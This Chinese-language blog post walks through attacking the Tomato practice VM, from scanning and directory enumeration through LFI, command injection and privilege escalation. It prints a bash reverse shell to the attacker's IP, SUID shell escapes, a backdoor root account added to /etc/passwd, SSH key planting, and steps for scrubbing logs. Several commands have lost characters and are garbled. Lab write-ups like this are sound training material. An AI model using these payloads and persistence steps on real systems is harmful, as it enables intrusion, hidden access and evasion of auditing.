尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

Tomato靶机渗透实战:从信息收集到权限提升的完整攻击链解析

Tomato靶机渗透实战:从信息收集到权限提升的完整攻击链解析 1. 靶场初探Tomato靶机是什么以及我们为什么要“通关”如果你对网络安全、渗透测试感兴趣或者正在学习相关的技术那么“靶机”这个词对你来说一定不陌生。简单来说靶机就是一个故意设置了各种安全漏洞的虚拟机或系统供安全爱好者、学习者进行合法的攻击演练以此来学习和掌握漏洞发现、利用以及权限提升等一系列实战技能。Tomato靶机就是这样一个在安全圈内特别是初学者和中级学习者中非常经典且受欢迎的一个“练手”目标。我第一次接触Tomato靶机是在一个技术社区的讨论帖里。当时看到很多人分享自己“通关”的截图和心得从最初的茫然无措到最后的“getshell”获取系统控制权那种成就感隔着屏幕都能感受到。于是我也下载了它的镜像文件在自己的虚拟机环境里搭建起来。说实话第一次尝试并不顺利卡在信息收集阶段很久感觉无从下手。但正是这种“卡住”然后“突破”的过程才是学习渗透测试最宝贵的经验。通关Tomato靶机绝不仅仅是为了拿到最终的“root”权限Linux系统的最高管理员权限更重要的是理解整个攻击链条如何从一个外部访客的身份一步步搜集信息、发现弱点、利用漏洞、扩大战果最终完全控制目标系统。这个过程几乎涵盖了Web渗透测试的绝大部分核心知识点。所以这篇“通关秘籍”更像是我个人多次尝试、踩坑、复盘后的一份详细实战笔记。我会尽量还原每一步的操作、当时的思路、遇到的坑以及解决方案。无论你是刚刚入门安全的新手还是想巩固基础的中级玩家希望这份基于实战的流程解析能给你提供一个清晰的路径和可靠的参考。我们不止要“通关”更要明白“为什么能通关”以及“下次遇到类似情况该怎么思考”。2. 环境搭建与信息收集一切攻击的起点在开始任何渗透测试之前准备工作和对目标的初步了解至关重要。这就像侦探破案前必须先勘察现场、了解受害者背景一样。2.1 靶机环境搭建与网络配置Tomato靶机通常以OVA或VMDK等虚拟机镜像格式提供。我使用的是VMware WorkstationVirtualBox同样可以。这里有几个关键步骤和注意事项导入与网络设置将下载好的镜像导入虚拟机软件后第一件事是检查网络适配器模式。为了模拟真实的网络环境同时方便我们攻击机通常是Kali Linux与靶机通信强烈建议将靶机的网络模式设置为“NAT模式”或“桥接模式”。我个人偏好使用“NAT模式”因为它能在主机内部创建一个虚拟局域网让攻击机和靶机处于同一个网段同时又不会干扰到主机的真实网络。设置好后启动靶机。确定靶机IP地址这是信息收集的第一步。靶机启动后我们需要知道它的IP地址。如果靶机登录界面显示了IP有些靶机会那就直接记下。如果没有我们可以在攻击机Kali上使用网络扫描工具来发现它。最常用的命令是netdiscover或nmap进行同一网段的存活主机扫描。例如在Kali终端中假设我的Kali IP是192.168.111.128那么同一网段可能就是192.168.111.0/24。可以运行sudo netdiscover -r 192.168.111.0/24或者使用更强大的nmapsudo nmap -sn 192.168.111.0/24-sn参数表示只进行Ping扫描主机发现不进行端口扫描。扫描结果中除了你已知的Kali IP和网关IP那个新出现的、大概率就是Tomato靶机的IP地址了。假设我们找到的靶机IP是192.168.111.135记下它。注意有些虚拟化环境或网络配置可能导致发现不了IP。如果扫描无果可以尝试将靶机和攻击机都设置为“桥接模式”并确保它们连接到同一个物理网络如同一个Wi-Fi。同时检查靶机防火墙是否关闭对于练习靶机通常默认是关闭的。2.2 系统性信息收集端口、服务与Web应用拿到IP地址后我们就要开始“敲门”和“窥探”了。目标是尽可能全面地了解目标系统对外开放了哪些“门窗”端口这些“门窗”后面运行着什么“服务”Service以及这些服务是什么版本、有没有已知漏洞。全面端口扫描使用nmap进行全端口或常用端口扫描是标准操作。sudo nmap -sV -sC -p- 192.168.111.135-sV探测端口上运行服务的版本信息。-sC使用默认的Nmap脚本进行更深入的探测可能会发现一些基本信息泄露。-p-扫描所有65535个端口范围是1-65535。这是一个比较耗时的操作但能确保没有遗漏。如果时间紧张可以先扫描前1000个常用端口-p 1-1000。扫描完成后你会得到一份详细的报告。对于Tomato靶机典型的扫描结果可能会显示开放了以下几个关键端口22/tcpSSH服务。这是远程安全登录协议通常是我们权限提升或持久化访问的潜在入口。80/tcpHTTP服务。这是最常见的Web服务端口也是我们渗透测试的主战场。一个网站或Web应用。其他端口可能还有像21FTP、139/445SMB等具体取决于靶机设计。Web应用初步侦察既然80端口开放我们自然要打开浏览器访问http://192.168.111.135。首先用眼睛看网站是什么样子有什么功能是博客、CMS内容管理系统、还是自定义的Web应用查看网页源代码有时注释里会隐藏有用的信息比如开发者备注、测试路径等。同时使用工具进行自动化侦察目录/文件枚举使用gobuster或dirb等工具尝试发现隐藏的目录或文件。这些可能是后台登录页面、配置文件、备份文件等。gobuster dir -u http://192.168.111.135 -w /usr/share/wordlists/dirb/common.txt子域名枚举如果目标有域名本例是IP此步可略但养成习惯很重要。技术栈识别使用whatweb或浏览器插件如Wappalyzer来识别网站使用的技术比如服务器类型Apache/Nginx、编程语言PHP/Python、前端框架、CMS类型等。whatweb http://192.168.111.135信息收集的深度决定攻击面的宽度。这一步一定要耐心和细致。我最初就犯过错误扫了个常用端口没发现特别的东西就以为没戏了结果后来才发现一个开在高端口比如8080上的管理后台。所以全端口扫描在时间允许的情况下非常有必要。把所有发现的信息记录下来开放端口、服务版本、Web路径、技术栈这将成为我们后续攻击的“地图”。3. 漏洞挖掘与利用从发现到突破在完成信息收集后我们手头有了一份“资产清单”。接下来就是分析这些资产寻找薄弱点并尝试利用。3.1 Web路径探索与敏感文件发现根据上一步gobuster或手动浏览的结果我们可能会发现一些有趣的路径。以Tomato靶机为例常见的突破口往往始于一个不起眼的目录或文件。假设我们发现了一个路径/secret或者/backup。访问它可能会列出一个文件目录或者直接提示需要认证。目录列表本身可能就是一个信息泄露漏洞因为它暴露了服务器上的文件结构。仔细查看列出的文件寻找诸如robots.txt、config.php、backup.zip、.git目录、README.md等文件。robots.txt文件这是网站用来告诉搜索引擎爬虫哪些目录可以访问、哪些不可以的标准文件。但有时开发者会在这里面写上他们不想被公开但又没做访问控制的敏感路径。访问http://192.168.111.135/robots.txt查看Disallow的条目它们可能就是隐藏的后台或API接口。源代码泄露如果发现了.git目录这可能是一个巨大的漏洞。通过工具如git-dumper可以尝试下载整个git仓库里面可能包含网站的源代码、历史提交记录甚至数据库配置信息。同样.svn、.DS_Store文件也存在类似风险。备份文件发现backup.zip、www.zip、database.sql.bak等文件一定要尝试下载并分析。压缩包可能包含网站源码SQL备份文件可能直接含有用户数据如用户名和密码哈希值。实战心得在这个阶段我养成了一个习惯对每一个发现的疑似敏感文件都会用curl或wget尝试下载并用cat、strings、file命令快速查看内容。例如发现一个note.txt可以curl http://192.168.111.135/secret/note.txt内容可能是一段看似无意义的字符串也可能是密码提示、隐藏的登录凭证甚至是加密过的密码。3.2 漏洞分析与利用以文件包含和命令注入为例Tomato靶机经典漏洞之一往往与文件包含File Inclusion有关。我们可能在某个页面比如show.php发现一个参数用于动态加载文件例如http://192.168.111.135/show.php?filewelcome.html。本地文件包含LFI如果这个参数没有经过严格的过滤攻击者就可以通过目录遍历读取服务器上的任意文件。尝试访问http://192.168.111.135/show.php?file../../../../etc/passwd如果成功返回了/etc/passwd文件的内容那么LFI漏洞就存在了。这个文件包含了系统所有用户的基本信息虽然密码是x表示密码存储在/etc/shadow但我们可以获取用户名列表为后续爆破或攻击做准备。利用LFI获取更关键信息在Linux中我们可以通过LFI读取许多敏感文件/etc/shadow存储用户密码哈希通常需要高权限但有时配置错误可读。Web应用的配置文件如/var/www/html/config.php可能包含数据库连接密码。日志文件如/var/log/apache2/access.log。这是一个非常重要的利用点。因为我们可以通过User-Agent或请求参数将PHP代码写入日志文件然后通过LFI去包含这个日志文件从而执行代码。这就是LFI to RCE远程代码执行的常见技巧。命令注入Command Injection另一个常见漏洞。可能在网站存在一个功能比如“Ping测试”、“DNS查询”用户输入一个IP或域名服务器会执行ping或nslookup命令并将结果返回。如果用户输入没有经过净化就可能注入额外的命令。 例如输入框要求输入IP我们输入8.8.8.8; whoami。如果后端直接拼接命令ping -c 4 8.8.8.8; whoami并执行那么whoami命令的结果也会返回在页面上这就证明了命令注入漏洞的存在。利用命令注入获取反向Shell确认漏洞后我们的目标不再是执行简单的whoami或ls而是获取一个交互式的Shell会话。最常用的方法是反向ShellReverse Shell。我们在自己的攻击机Kali上监听一个端口然后通过漏洞让靶机主动连接我们。在Kali上监听nc -lvnp 4444nc是 netcat 工具-l监听-v详细输出-n不解析域名-p指定端口4444。通过漏洞注入反向Shell命令根据靶机系统可用的工具有多种Payload。一个经典的bash反向Shell是; bash -c bash -i /dev/tcp/192.168.111.128/4444 01将其注入到存在命令注入的点。注意替换IP192.168.111.128为你的Kali IP。成功连接如果漏洞利用成功你会在Kali的nc监听窗口看到一个连接并出现一个Shell提示符可能是$。恭喜你已经拿到了一个低权限的Web Shell通常以www-data用户运行。踩坑记录在利用命令注入时经常会遇到空格、引号被过滤或转义的情况。这时候需要尝试各种绕过技巧比如用$IFS代替空格用编码Base64绕过或者使用其他命令执行方式如反引号、$()。多准备几个Payload备用总没错。4. 权限提升从普通用户到Root拿到一个初始的Shell比如www-data只是成功了一半。这个用户权限很低无法读取/etc/shadow无法安装软件无法进行很多操作。我们的最终目标是root。权限提升Privilege Escalation简称PrivEsc是渗透测试中最考验综合能力的环节之一。4.1 内部信息收集了解你的战场在提权之前我们需要对当前系统有更深入的了解。在获得的Shell中运行一系列信息收集命令系统信息uname -a内核版本cat /etc/os-release发行版信息。用户和组id当前用户权限cat /etc/passwdsudo -l极其重要查看当前用户可以以root身份运行哪些命令。进程与服务ps aux查看所有进程netstat -tulpn查看网络连接和监听端口。计划任务crontab -l查看当前用户的计划任务ls -la /etc/cron*查看系统计划任务目录。SUID/GUID文件查找设置了特殊权限位的可执行文件这可能是提权的捷径。find / -type f -perm -us 2/dev/null find / -type f -perm -gs 2/dev/null可写文件与目录find / -writable -type d 2/dev/null查找全局可写目录特别是/tmp、/var/tmp通常可写。环境变量env。仔细分析sudo -l的输出。如果结果显示当前用户可以以root身份无需密码运行某个命令例如(ALL) NOPASSWD: /usr/bin/vi那么这就是一个黄金提权点。因为很多编辑器如vi, vim, nano或命令如find, awk, more, less在拥有高权限运行时可以借此启动一个shell。4.2 利用内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。我们可以用uname -a获取内核版本然后去搜索对应的Exploit漏洞利用代码。在Kali上有searchsploit工具可以离线搜索Exploit-DB中的漏洞。searchsploit linux kernel 3.13 ubuntu local privilege escalation找到合适的Exploit后将其上传到靶机。在靶机Shell中可以用python3 -m http.server 8000在Kali上启动一个临时Web服务器然后在靶机用wget下载。编译并运行Exploit如果是C代码可能直接就能获得root shell。注意事项内核漏洞利用有一定风险可能导致系统崩溃对于靶机无所谓。而且现代系统往往有安全机制如SELinux, AppArmor可能会阻止Exploit运行。因此这通常是其他方法无效时的选择。4.3 利用环境变量与SUID提权SUID提权SUIDSet User ID是一种特殊的文件权限它允许用户以文件所有者的权限来执行该文件。如果find命令被设置了SUID位且属于root那么当我们执行find时实际上是以root权限在运行。一些命令可以被滥用来提权。例如利用findfind . -exec /bin/bash -p \;-exec参数会执行后面的命令而-p参数会让bash保留有效用户ID即root从而产生一个root shell。另一个经典例子是vim或less。如果我们可以运行sudo less /etc/shadow那么在less中我们可以输入!bash来启动一个shell这个shell将继承less的root权限。环境变量劫持如果发现一个SUID程序调用了系统命令如ping、cp但没有使用绝对路径我们就可以通过操纵环境变量PATH来进行劫持。原理是系统在执行ping时会按照PATH环境变量中的路径顺序去寻找名为ping的可执行文件。如果我们将PATH设置为优先搜索当前目录并在当前目录创建一个恶意的ping脚本内容为/bin/bash那么当SUID程序执行ping时实际上执行的是我们的恶意脚本并且由于SUID程序是root权限我们的脚本也以root运行了。实操心得提权过程往往需要结合多种信息。我遇到过一个靶机sudo -l显示可以无密码运行一个自定义的Python脚本。查看那个脚本发现它用os.system()执行了一个硬编码的命令。但该命令的路径是写死的无法直接改。然而我注意到脚本里有一行import sys然后从某个目录读取配置。我检查发现那个配置目录当前用户可写。于是我在该目录创建了一个同名的恶意模块文件sys.py里面包含了提权代码。当root用户通过sudo执行那个脚本时Python会优先从当前目录导入我的恶意sys模块从而执行了我的代码。这种思路需要你对系统机制和编程语言有一定理解。5. 后渗透与总结反思巩固战果与清理痕迹拿到root权限并非终点。在真实的渗透测试中我们还需要考虑如何维持访问、横向移动如果是在内网、清理日志等。对于靶机练习这部分主要是为了学习完整的流程。5.1 维持访问与信息收集创建后门账户在/etc/passwd中添加一个具有root权限的用户或者修改现有用户的密码哈希。# 生成一个密码为hacked的哈希 openssl passwd -1 -salt abc hacked # 在/etc/passwd中添加一行将生成的哈希替换到下面 echo backdoor:$1$abc$q.5d6QmW4g6B6Q8Q7Q9Q0Q:0:0:root:/root:/bin/bash /etc/passwd之后就可以用用户名backdoor密码hacked通过SSH登录了。SSH密钥植入将你的公钥写入root用户的.ssh/authorized_keys文件实现免密登录。echo 你的公钥内容 /root/.ssh/authorized_keys下载敏感信息现在可以畅通无阻地查看所有文件了。将/etc/shadow、Web应用的数据库、配置文件等关键信息下载回本地分析。5.2 清理痕迹在授权测试中这一步通常需要做以模拟攻击者隐藏行踪。主要清理各类日志。清理命令历史history -c清除当前session历史还要删除~/.bash_history文件。清理系统日志定位到记录了你操作的相关日志文件如/var/log/auth.logSSH登录记录、/var/log/apache2/access.log和error.logWeb访问记录选择性删除或篡改相关条目。可以使用sed或vi进行编辑。注意直接删除整个日志文件非常可疑。更隐蔽的做法是只删除与自己IP或操作相关的行。5.3 通关后的复盘与学习建议通关Tomato靶机绝不仅仅是按照攻略走一遍流程。真正的价值在于复盘绘制攻击路径图用笔和纸画出你从信息收集到最终提权的完整路径。标出每个关键节点发现的漏洞、利用的方法。这能帮你理清思路看清整个攻击链的依赖关系。追问“为什么”为什么这里存在LFI漏洞因为开发者直接信任了用户输入的file参数。为什么那个SUID文件能用来提权因为它的功能设计缺陷或配置错误。理解漏洞根源比记住利用命令更重要。尝试多种方法提权往往不止一条路。如果通过内核漏洞成功了试试能不能通过sudo -l找到其他方法如果通过Web漏洞拿到了Shell试试有没有其他注入点多种方法尝试能加深你对系统的理解。搭建自己的实验环境在完全弄懂Tomato之后可以尝试自己用DVWA、bWAPP等漏洞练习平台或者甚至自己写一个带有漏洞的小程序然后自己去攻击它。从攻击者视角切换到防御者视角你会对安全有更深的认识。关注动态与社区安全技术日新月异。关注一些安全博客、论坛如Security StackExchange、Reddit的netsec板块了解最新的漏洞和利用技术。最后记住最重要的一点所有技术都应在合法、授权的环境下学习和使用。靶机提供了完美的沙箱环境。将所学知识用于保护系统安全才是真正的“白帽”精神。每一次通关都是向着成为一名更专业的安全研究员迈出的一步。保持好奇保持谨慎持续学习。
返回列表